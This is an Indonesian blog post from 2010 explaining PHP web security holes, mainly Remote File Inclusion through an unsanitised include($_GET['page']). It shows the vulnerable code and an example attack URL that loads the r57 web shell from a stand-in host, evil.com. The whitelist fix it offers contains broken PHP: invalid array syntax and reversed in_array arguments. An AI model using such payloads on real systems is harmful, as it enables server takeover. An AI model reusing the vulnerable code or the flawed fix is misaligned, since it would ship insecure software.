translate

Selasa, 06 Juli 2010

Pengenalan Celah keamanan pada Aplikasi Web berbasis PHP

0 komentar
PHP adalah salahsatu bahasa pemrograman web yang pengguna dan penikmatnya cukup banyak di area cyberspace. dikarenakan bahasa web ini yang dinamis dan termasuk dalam opensource (info : http://php.net). PHP menjadi “ladang” pengaplikasian berbagai variabel yang ada dalam script secara autoglobal oleh programer dan juga menjadi “ladang” attacking para attacker karena PHP memiliki fasilitas autoglobal pada beberapa variabel :p

GET and POST
Diawali dengan deklarasi variabel GET/POST yang berasal dari fasilitas autoglobal yang ada dalam PHP. variabel register_global yang tersetting “on” pada file php.ini berfungsi untuk membatasi variabel-variabel apa saja yang akan digunakan dalam script php. jika register_global on maka web admin tidak perlu spesifik dalam mendefinisikan variabel dan jika off. maka variabelpun harus di definisikan secara spesifik. seperti ini lah contoh script php nya :

echo $_POST['newhack']; //variabel newhack dikirim dengan methode POST
?>

dari sisi pengamanan settingan on lebih rawan daripada off. dikarenakan variabel-variabel yang dibatasi sangat minim. apabila kita settingan off maka effisiensi code sangat lah besar. jadi, pentingnya register_global sangat di utamakan dalam sebuah aplikasi web yang bertujuan dalam hal pengamanan.

Parameter Include
Berhubungan dengan sub-bab diatas, fasilitas autoglobal pada PHP juga pasti berpengaruh pada parameter fungsi include(), require(), fopen() dan lain-lain. contoh variabel seperti itu dengan mudah dapat diisi dengan variabel GET/POST atau COOKIES/SESSION. karena pengaruh autoglobal itu sendiri.

saya akan memberikan contoh salah-satu bug yang berhubungan dengan variabel-variabel diatas. Remote File Inclusion, bug klasik (mungkin sekarang masih ada :p) yang digunakan untuk me-remote web/server si target.
contoh script PHP :


$file =$_GET['page']; // contoh kita akan menginclude file galeri.php
include($file);
?>

tanpa sanitasi input dalam proses pengeksekusian $file =$_GET['page'];

http://www.site.com/index.php?page=galeri.php

maka attacker akan dengan mudah menginjek proses $file dengan evil scriptnya. contoh menjadi seperti ini

http://www.site.com/index.php?page=http://www.evil.com/r57.txt?

dan bila kita lihat source codenya akan menjadi seperti ini :
$file =”http://www.evil.com/r57.txt?”; / /$_GET['page'];
include($file);
?>

script $file akan menjadi script yang di injekan oleh si attacker. prosesnya seperti ini. pertama, awal dari bug ini adalah lagi-lagi fungsi dari include. fungsi ini berguna untuk menginclude (memasukan) file, yang disini telah dirubah menjadi file remote oleh si attacker. variabel fungsi yang sama terdapat pada include_once(), require(), require_once().
solusi dari bug ini sebenarnya sangat banyak. tapi bagi saya ada beberapa yang efisien digunakan. salah satunya dengan memasukan file yang sah di include ke array. contoh script seperti ini :

$file_valid = new array(“index”,”galeri”,”profil”);

$file = $_GET['page'];
if(!in_array($file_valid,$file)){$file = index;} // fungsi cek file
proses sederahananya seperti ini : $file_valid adalah variabel baru yang dimasukan ke array. lalu code selanjutnya adalah pengecekan ketika $file di injeksi oleh script attacker (www.evil.com/r57.txt) maka file tidak valid karena tidak ada dalam array $file_valid. lalu %file di ganti value (redirect) ke file index.php
 

nabyl alhani elsuyuthi Copyright © 2008 Black Brown Pop Template by Ipiet's Blogger Template